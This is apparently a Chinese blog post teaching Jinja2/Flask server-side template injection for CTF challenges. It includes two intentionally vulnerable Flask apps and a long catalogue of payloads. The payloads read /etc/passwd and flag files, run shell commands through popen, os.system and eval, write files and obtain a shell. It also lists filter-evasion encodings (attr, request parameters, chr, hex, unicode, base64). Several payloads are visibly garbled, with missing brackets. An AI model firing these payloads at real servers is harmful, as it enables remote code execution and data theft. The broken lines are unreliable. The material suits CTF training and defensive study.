SSTI(模板注入)

SSTI:

  • SSTI(Server-Side Template Injection)即服务端模板注入,它是一种安全漏洞攻击技术。
  • 当应用程序在服务器端使用模板引擎来呈现动态生成的内容时,如果用户可以控制模板引擎的输入,就可能导致 SSTI 漏洞。
  • 服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

常见的模版

  • PHP:Twig、Smarty 、Blade
  • Python:Jinja2、Tornado、Django、MaKo
  • Java:FreeMarker、Velocity

不同模板的变量包裹符

image

常用魔术方法

  • __class__
print(''__class__)    
输出''的类:    <class 'str'>  
  • __bases__

用来查看类的基类,也可以使用数组索引来查看特定位置的值。 通过该属性可以查看该类的所有直接父类,该属性返回所有直接父类组成的元组(虽然只有一个元素)

print(''.__class__.__bases__)
print(''.__class__.__bases__[0])
输出:    <class 'object'>
输出''的类和其父类,返回值为元组,可以使用[]调用其子类
  • __mro__

可以用来获取一个类(多层父子关系)的调用顺序(即这个类的父类、父类的父类、、、)

print(''.__class__.__mro__)
输出:    (<class 'str'>, <class 'object'>)
输出''类即父类,可以使用[]调用
  • __subclass__

用于获取某个类的所有子类(一层父子关系),并用元组输出

  • __init__

查看是否重载(重载指程序在运行是就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载)

  • __globals__

该方法会以字典的形式返回当前位置的所有全局变量,与 func_globals 等价。该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用

  • __builtins__

提供对python中所有内置标识符的直接访问


案例说明(python模板jinja2)

render_template_string和render_template函数是jinja2中常用的渲染函数。
render_template用于渲染模板文件,而render_template_string用于直接渲染模板字符串。

案例一

from flask import Flask    # Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换成 {{…}} 块
from flask import request
from flask import config
from flask import render_template_string		#导入flask中的渲染函数
app = Flask(__name__)						#实例化

app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')            	#使用装饰器定义路由规则,当访问目录/时将调用函数hello_world()
def hello_world():
    return 'Hello World!'

@app.errorhandler(404)        #404路由
def page_not_found(e):
    template = '''            #定义一个多行字符串,常用的多行注释并不是标准用法
 {%% block body %%}
    <div class="center-content error">    # 这里是报错页面所显示的内容
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>    		#参数request.args.get('404_url')位置
    </div>
 {%% endblock %%}
''' % (request.args.get('404_url'))			#注意这里存在漏洞点
    return render_template_string(template), 404

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True)


案例二

from flask import Flask
from flask import render_template_string,render_template		#导入render_template_string和render_template函数。
app = Flask(__name__)

@app.route('/hello/')			#定义了一个路由规则,当用户访问/hello/这个URL时,会调用下面定义的hello视图函数。
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')			定义了另一个路由规则,其中<name>是一个动态部分,可以匹配任何字符串。当用户访问如/hello/123这样的URL时,会调用下面定义的hellodear视图函数。
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

[SSTI自动化工具]Fenjing

Fenjing专为CTF设计的Jinja2 SSTI全自动绕WAF脚本——项目地址:fenjing




ctf中常用的Payload(参考)

参考文章:SSTI漏洞详解

  • 无过滤
点击查看代码
\#简单查找具体python类的索引:
import os
print(''.__class__.__bases__[0].__subclasses__().index(os._wrap_close))


\#读取config
如果flag写入config内,那么可以直接{{config}}查看或者{{self.dict._TemplateReference__context.config}}

\#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)

\#直接使用popen命令,python2是非法的,只限于python3
**os._wrap_close** 类里有popen和builtins,一般位置为132~139附近
<class ‘site._Printer’> 调用os的popen执行命令
<class ‘warnings.catch_warnings’>一般位置为59,可以用它来调用file、os、eval、commands等

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}


\#调用os的popen执行命令
	\#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
	\#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}


\#调用eval函数读取
	\#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
	\#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}


\#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}


\#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}


\#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}


\#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}


\#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
  • 过滤[]

使用魔术方法__getitem__绕过
{{().__class__.__bases__[0]}}等价于{{().__class__.__bases__.__getitem__(0)}}

  • 过滤{

使用{%%}替换{}即可

  • 过滤符号 .

1、使用[]绕过

{{().__class__}}
可替换为:
{{()["__class__"]}}

举例:

{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}

2、使用attr()绕过
attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。

{{().__class__}}
可替换为:
{{()|attr("__class__")}}

举例:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
  • request方法绕过:
    如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤__class__,可以用request.args.key且以GET方式提交key=class__来替换被过滤的__class
request.args.key  #获取get传入的key的值
request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key  #获取cookies传入参数
request.headers.key  #获取请求头请求参数
request.data  #获取post传入参数(Content-Type:a/b)
request.json  #获取post传入json参数 (Content-Type: application/json)
  • 绕过单双引号
    1.request绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__request.args.arg1.read()}}&arg1=open&arg2=/etc/passwd
#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。
其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.cookies.arg1.read()}}
Cookie:arg1=open;arg2=/etc/passwd
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__request.values.arg1.read()}}
post:arg1=open&arg2=/etc/passwd

2.chr绕过

{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。
  • 绕过关键字
    1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])

2.利用"+"进行字符串拼接,绕过关键字过滤。

{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']'ev'+'al'}}

3.join拼接
利用join()函数绕过关键字过滤

{{[].__class__.__base__.__subclasses__()40.read()}}

4.利用引号绕过

{{[].__class__.__base__.__subclasses__()40.read()}}

5.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__'popen'.read()}}

6.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。

"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'

7.16进制编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']'\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f'.popen('whoami').read()}}

同理,也可使用八进制编码绕过

  • base64编码绕过

对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

"__class__"==("X19jbGFzc19f").decode("base64")
例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]'ZXZhbA=='.decode('base64')}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
  • unicode编码绕过
{%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()
  • Hex编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等价于
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
  • 绕过init
    可以用__enter__或__exit__替代__init__
{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']'open'.read()}}
{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']'open'.read()}}
posted @ 2024-11-20 21:26  大果蝇11223  阅读(4)  评论(0编辑  收藏  举报